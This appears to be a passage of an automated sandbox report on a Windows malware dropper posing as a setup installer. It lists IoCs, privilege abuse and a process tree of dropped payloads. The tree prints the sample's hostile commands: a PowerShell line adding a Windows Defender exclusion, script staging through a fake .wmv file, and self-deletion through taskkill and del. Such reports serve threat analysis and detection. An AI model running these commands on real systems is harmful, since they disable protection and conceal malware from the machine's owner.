Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = b9d9ec28329fd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
212	PING.EXE
368	PING.EXE
5532	PING.EXE

Script User-Agent 10 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	28	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	66	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	87	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	128	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	129	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	42	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	62	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	137	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
1012	Impedire.exe.com
1012	Impedire.exe.com
4960	powershell.exe
4960	powershell.exe
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5276	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5236	WerFault.exe
5292	WerFault.exe
5292	WerFault.exe
5284	WerFault.exe
5284	WerFault.exe
5284	WerFault.exe
5284	WerFault.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1012	Impedire.exe.com

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
6120	998460.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4396	Fri191454c4b4.exe
Token: SeCreateTokenPrivilege	4856	Fri19d30056588.exe
Token: SeAssignPrimaryTokenPrivilege	4856	Fri19d30056588.exe
Token: SeLockMemoryPrivilege	4856	Fri19d30056588.exe
Token: SeIncreaseQuotaPrivilege	4856	Fri19d30056588.exe
Token: SeMachineAccountPrivilege	4856	Fri19d30056588.exe
Token: SeTcbPrivilege	4856	Fri19d30056588.exe
Token: SeSecurityPrivilege	4856	Fri19d30056588.exe
Token: SeTakeOwnershipPrivilege	4856	Fri19d30056588.exe
Token: SeLoadDriverPrivilege	4856	Fri19d30056588.exe
Token: SeSystemProfilePrivilege	4856	Fri19d30056588.exe
Token: SeSystemtimePrivilege	4856	Fri19d30056588.exe
Token: SeProfSingleProcessPrivilege	4856	Fri19d30056588.exe
Token: SeIncBasePriorityPrivilege	4856	Fri19d30056588.exe
Token: SeCreatePagefilePrivilege	4856	Fri19d30056588.exe
Token: SeCreatePermanentPrivilege	4856	Fri19d30056588.exe
Token: SeBackupPrivilege	4856	Fri19d30056588.exe
Token: SeRestorePrivilege	4856	Fri19d30056588.exe
Token: SeShutdownPrivilege	4856	Fri19d30056588.exe
Token: SeDebugPrivilege	4856	Fri19d30056588.exe
Token: SeAuditPrivilege	4856	Fri19d30056588.exe
Token: SeSystemEnvironmentPrivilege	4856	Fri19d30056588.exe
Token: SeChangeNotifyPrivilege	4856	Fri19d30056588.exe
Token: SeRemoteShutdownPrivilege	4856	Fri19d30056588.exe
Token: SeUndockPrivilege	4856	Fri19d30056588.exe
Token: SeSyncAgentPrivilege	4856	Fri19d30056588.exe
Token: SeEnableDelegationPrivilege	4856	Fri19d30056588.exe
Token: SeManageVolumePrivilege	4856	Fri19d30056588.exe
Token: SeImpersonatePrivilege	4856	Fri19d30056588.exe
Token: SeCreateGlobalPrivilege	4856	Fri19d30056588.exe
Token: 31	4856	Fri19d30056588.exe
Token: 32	4856	Fri19d30056588.exe
Token: 33	4856	Fri19d30056588.exe
Token: 34	4856	Fri19d30056588.exe
Token: 35	4856	Fri19d30056588.exe
Token: SeDebugPrivilege	4460	Fri192c305b4a.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	4216	1.exe
Token: SeDebugPrivilege	3692	MicrosoftEdge.exe
Token: SeDebugPrivilege	4408	3.exe
Token: SeDebugPrivilege	3300	4.exe
Token: SeDebugPrivilege	4612	5.exe
Token: SeDebugPrivilege	4876	6.exe
Token: SeDebugPrivilege	1608	7.exe
Token: SeDebugPrivilege	2056	BearVpn 3.exe
Token: SeDebugPrivilege	4276	7844654.exe
Token: SeDebugPrivilege	3508	3011571.exe
Token: SeRestorePrivilege	5236	WerFault.exe
Token: SeBackupPrivilege	5236	WerFault.exe
Token: SeBackupPrivilege	5236	WerFault.exe
Token: SeDebugPrivilege	5276	WerFault.exe
Token: SeDebugPrivilege	5236	WerFault.exe
Token: SeDebugPrivilege	5292	WerFault.exe
Token: SeDebugPrivilege	5284	WerFault.exe
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeShutdownPrivilege	2636	Explorer.EXE
Token: SeCreatePagefilePrivilege	2636	Explorer.EXE
Token: SeDebugPrivilege	5700	rundll32.exe
Token: SeDebugPrivilege	3256	svchost.exe
Token: SeDebugPrivilege	5700	rundll32.exe
Token: SeDebugPrivilege	5792	WerFault.exe

Suspicious use of FindShellTrayWindow 56 IoCs

pid	Process
4940	Fri195cd4dbfdf37897.tmp
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
2636	Explorer.EXE
6896	ultramediaburner.tmp
6796	cmd.exe
736	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
736	Adorarti.exe.com
736	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
7080	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
7080	Adorarti.exe.com
7080	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
4136	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
4136	Adorarti.exe.com
4136	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
1956	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
1956	Adorarti.exe.com
1956	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
7436	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
7436	Adorarti.exe.com
7436	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
7960	rUNdlL32.eXe
8104	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE
8104	Adorarti.exe.com
8104	Adorarti.exe.com
2636	Explorer.EXE
2636	Explorer.EXE

Suspicious use of SendNotifyMessage 18 IoCs

pid	Process
736	Adorarti.exe.com
736	Adorarti.exe.com
736	Adorarti.exe.com
7080	Adorarti.exe.com
7080	Adorarti.exe.com
7080	Adorarti.exe.com
4136	Adorarti.exe.com
4136	Adorarti.exe.com
4136	Adorarti.exe.com
1956	Adorarti.exe.com
1956	Adorarti.exe.com
1956	Adorarti.exe.com
7436	Adorarti.exe.com
7436	Adorarti.exe.com
7436	Adorarti.exe.com
8104	Adorarti.exe.com
8104	Adorarti.exe.com
8104	Adorarti.exe.com

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2636	Explorer.EXE
3692	MicrosoftEdge.exe
6920	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 2784	4376	setup_x86_x64_install.exe	74
PID 4376 wrote to memory of 2784	4376	setup_x86_x64_install.exe	74
PID 4376 wrote to memory of 2784	4376	setup_x86_x64_install.exe	74
PID 2784 wrote to memory of 1812	2784	setup_installer.exe	75
PID 2784 wrote to memory of 1812	2784	setup_installer.exe	75
PID 2784 wrote to memory of 1812	2784	setup_installer.exe	75
PID 1812 wrote to memory of 4592	1812	setup_install.exe	78
PID 1812 wrote to memory of 4592	1812	setup_install.exe	78
PID 1812 wrote to memory of 4592	1812	setup_install.exe	78
PID 1812 wrote to memory of 740	1812	setup_install.exe	79
PID 1812 wrote to memory of 740	1812	setup_install.exe	79
PID 1812 wrote to memory of 740	1812	setup_install.exe	79
PID 1812 wrote to memory of 784	1812	setup_install.exe	83
PID 1812 wrote to memory of 784	1812	setup_install.exe	83
PID 1812 wrote to memory of 784	1812	setup_install.exe	83
PID 1812 wrote to memory of 2312	1812	setup_install.exe	80
PID 1812 wrote to memory of 2312	1812	setup_install.exe	80
PID 1812 wrote to memory of 2312	1812	setup_install.exe	80
PID 740 wrote to memory of 4460	740	cmd.exe	82
PID 740 wrote to memory of 4460	740	cmd.exe	82
PID 1812 wrote to memory of 4472	1812	setup_install.exe	81
PID 1812 wrote to memory of 4472	1812	setup_install.exe	81
PID 1812 wrote to memory of 4472	1812	setup_install.exe	81
PID 1812 wrote to memory of 2204	1812	setup_install.exe	84
PID 1812 wrote to memory of 2204	1812	setup_install.exe	84
PID 1812 wrote to memory of 2204	1812	setup_install.exe	84
PID 784 wrote to memory of 3112	784	cmd.exe	86
PID 784 wrote to memory of 3112	784	cmd.exe	86
PID 784 wrote to memory of 3112	784	cmd.exe	86
PID 2312 wrote to memory of 4396	2312	cmd.exe	88
PID 2312 wrote to memory of 4396	2312	cmd.exe	88
PID 4472 wrote to memory of 1596	4472	cmd.exe	87
PID 4472 wrote to memory of 1596	4472	cmd.exe	87
PID 4472 wrote to memory of 1596	4472	cmd.exe	87
PID 2204 wrote to memory of 4700	2204	cmd.exe	89
PID 2204 wrote to memory of 4700	2204	cmd.exe	89
PID 2204 wrote to memory of 4700	2204	cmd.exe	89
PID 1812 wrote to memory of 1788	1812	setup_install.exe	85
PID 1812 wrote to memory of 1788	1812	setup_install.exe	85
PID 1812 wrote to memory of 1788	1812	setup_install.exe	85
PID 1812 wrote to memory of 4752	1812	setup_install.exe	90
PID 1812 wrote to memory of 4752	1812	setup_install.exe	90
PID 1812 wrote to memory of 4752	1812	setup_install.exe	90
PID 1812 wrote to memory of 4840	1812	setup_install.exe	91
PID 1812 wrote to memory of 4840	1812	setup_install.exe	91
PID 1812 wrote to memory of 4840	1812	setup_install.exe	91
PID 1812 wrote to memory of 4884	1812	setup_install.exe	118
PID 1812 wrote to memory of 4884	1812	setup_install.exe	118
PID 1812 wrote to memory of 4884	1812	setup_install.exe	118
PID 1812 wrote to memory of 4944	1812	setup_install.exe	140
PID 1812 wrote to memory of 4944	1812	setup_install.exe	140
PID 1812 wrote to memory of 4944	1812	setup_install.exe	140
PID 1596 wrote to memory of 4940	1596	Fri195cd4dbfdf37897.exe	139
PID 1596 wrote to memory of 4940	1596	Fri195cd4dbfdf37897.exe	139
PID 1596 wrote to memory of 4940	1596	Fri195cd4dbfdf37897.exe	139
PID 4592 wrote to memory of 4960	4592	cmd.exe	93
PID 4592 wrote to memory of 4960	4592	cmd.exe	93
PID 4592 wrote to memory of 4960	4592	cmd.exe	93
PID 4840 wrote to memory of 4832	4840	cmd.exe	138
PID 4840 wrote to memory of 4832	4840	cmd.exe	138
PID 4840 wrote to memory of 4832	4840	cmd.exe	138
PID 1788 wrote to memory of 4856	1788	cmd.exe	137
PID 1788 wrote to memory of 4856	1788	cmd.exe	137
PID 1788 wrote to memory of 4856	1788	cmd.exe	137

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1112

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1384

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1372

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1240

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1048
- C:\Users\Admin\AppData\Roaming\vhhhjta
  C:\Users\Admin\AppData\Roaming\vhhhjta
  2⤵
  PID:7832

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:68

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2636
- C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\setup_install.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1812
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4592
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4960
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri192c305b4a.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:740
      - C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri192c305b4a.exe
        
        Fri192c305b4a.exe
        6⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of AdjustPrivilegeToken
        
        PID:4460
        
        C:\Users\Admin\AppData\Local\Temp\tmpC25B_tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpC25B_tmp.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        
        PID:3876
        
        C:\Windows\SysWOW64\dllhost.exe
        
        dllhost.exe
        8⤵
        
        PID:4748
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c cmd < Attesa.wmv
        8⤵
        
        PID:4800
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        9⤵
        
        PID:4884
        
        C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri192f077acf656dd.exe
        
        Fri192f077acf656dd.exe
        10⤵
        Executes dropped EXE
        
        PID:3388
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^VksJcWfNcDMqfgfCCoOQaENLrlkioAEZRevWUFgpnuTZyylQxdxsqDodbFGlKiEVZMohRaHWUFajKOGYZxNRyhZgTymgZtndBYqaWXYwInbclWFIZIldx$" Braccio.wmv
        10⤵
        
        PID:4660
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        Adorarti.exe.com u
        10⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:736
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        11⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:7080
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        12⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4136
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        13⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1956
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        14⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:7436
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        15⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:8104
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        16⤵
        
        PID:7272
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        17⤵
        
        PID:6504
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        18⤵
        
        PID:4872
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        19⤵
        
        PID:7004
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        20⤵
        
        PID:4632
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        21⤵
        
        PID:1396
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        22⤵
        
        PID:7928
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost
        10⤵
        Runs ping.exe
        
        PID:212
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri191454c4b4.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2312
      - C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri191454c4b4.exe
        
        Fri191454c4b4.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4396
        
        C:\ProgramData\7844654.exe
        
        "C:\ProgramData\7844654.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4276
        
        C:\ProgramData\3225153.exe
        
        "C:\ProgramData\3225153.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:776
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        8⤵
        Executes dropped EXE
        
        PID:5640
        
        C:\ProgramData\3011571.exe
        
        "C:\ProgramData\3011571.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3508
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri195cd4dbfdf37897.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4472
      - C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri195cd4dbfdf37897.exe
        
        Fri195cd4dbfdf37897.exe
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\is-1TH2D.tmp\Fri195cd4dbfdf37897.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-1TH2D.tmp\Fri195cd4dbfdf37897.tmp" /SL5="$C002E,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri195cd4dbfdf37897.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of FindShellTrayWindow
        
        PID:4940
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri192b9eeaa03b.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:784
      - C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri192b9eeaa03b.exe
        
        Fri192b9eeaa03b.exe
        6⤵
        Executes dropped EXE
        
        PID:3112
        
        C:\Users\Admin\AppData\Local\Temp\is-G7T61.tmp\Fri192b9eeaa03b.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-G7T61.tmp\Fri192b9eeaa03b.tmp" /SL5="$70038,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri192b9eeaa03b.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks whether UAC is enabled
        
        PID:2968
        
        C:\Users\Admin\AppData\Local\Temp\is-2HK2S.tmp\46807GHF____.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-2HK2S.tmp\46807GHF____.exe" /S /UID=burnerch2
        8⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        
        PID:4384
        
        C:\Program Files\Windows Defender Advanced Threat Protection\DGBPMYXVXB\ultramediaburner.exe
        
        "C:\Program Files\Windows Defender Advanced Threat Protection\DGBPMYXVXB\ultramediaburner.exe" /VERYSILENT
        9⤵
        Executes dropped EXE
        
        PID:6760
        
        C:\Users\Admin\AppData\Local\Temp\is-8HSJF.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-8HSJF.tmp\ultramediaburner.tmp" /SL5="$D002E,281924,62464,C:\Program Files\Windows Defender Advanced Threat Protection\DGBPMYXVXB\ultramediaburner.exe" /VERYSILENT
        10⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:6896
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        11⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:7148
        
        C:\Users\Admin\AppData\Local\Temp\30-f3ea4-43c-d7db7-3d110eca03564\Kusamodihi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\30-f3ea4-43c-d7db7-3d110eca03564\Kusamodihi.exe"
        9⤵
        Executes dropped EXE
        Checks computer location settings
        
        PID:6936
        
        C:\Users\Admin\AppData\Local\Temp\04-acad9-17f-475a7-feda4f1a1bec1\Gitosidifae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\04-acad9-17f-475a7-feda4f1a1bec1\Gitosidifae.exe"
        9⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:7008
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3yirpr01.0rr\GcleanerEU.exe /eufive & exit
        10⤵
        
        PID:6888
        
        C:\Users\Admin\AppData\Local\Temp\3yirpr01.0rr\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\3yirpr01.0rr\GcleanerEU.exe /eufive
        11⤵
        Executes dropped EXE
        
        PID:7844
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vqzkdgup.2ek\installer.exe /qn CAMPAIGN="654" & exit
        10⤵
        Blocklisted process makes network request
        Executes dropped EXE
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of FindShellTrayWindow
        
        PID:6796
        
        C:\Users\Admin\AppData\Local\Temp\vqzkdgup.2ek\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\vqzkdgup.2ek\installer.exe /qn CAMPAIGN="654"
        11⤵
        
        PID:7960
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\vqzkdgup.2ek\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\vqzkdgup.2ek\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631048115 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        12⤵
        
        PID:6592
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bjpnmne4.2d5\anyname.exe & exit
        10⤵
        
        PID:7352
        
        C:\Users\Admin\AppData\Local\Temp\bjpnmne4.2d5\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\bjpnmne4.2d5\anyname.exe
        11⤵
        Executes dropped EXE
        
        PID:8156
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kzul2faz.n3k\gcleaner.exe /mixfive & exit
        10⤵
        
        PID:7656
        
        C:\Users\Admin\AppData\Local\Temp\kzul2faz.n3k\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\kzul2faz.n3k\gcleaner.exe /mixfive
        11⤵
        
        PID:8
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qi3mx10c.nsn\autosubplayer.exe /S & exit
        10⤵
        
        PID:7892
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Fri192902b3c24.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2204
      - C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri192902b3c24.exe
        
        Fri192902b3c24.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4700
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Fri192902b3c24.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS0EA23ED4\Fri192902b3c24.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:2760
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Fri192902b3c24.exe /f
        8⤵
        Kills process with taskkill
        
        PID:6972
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
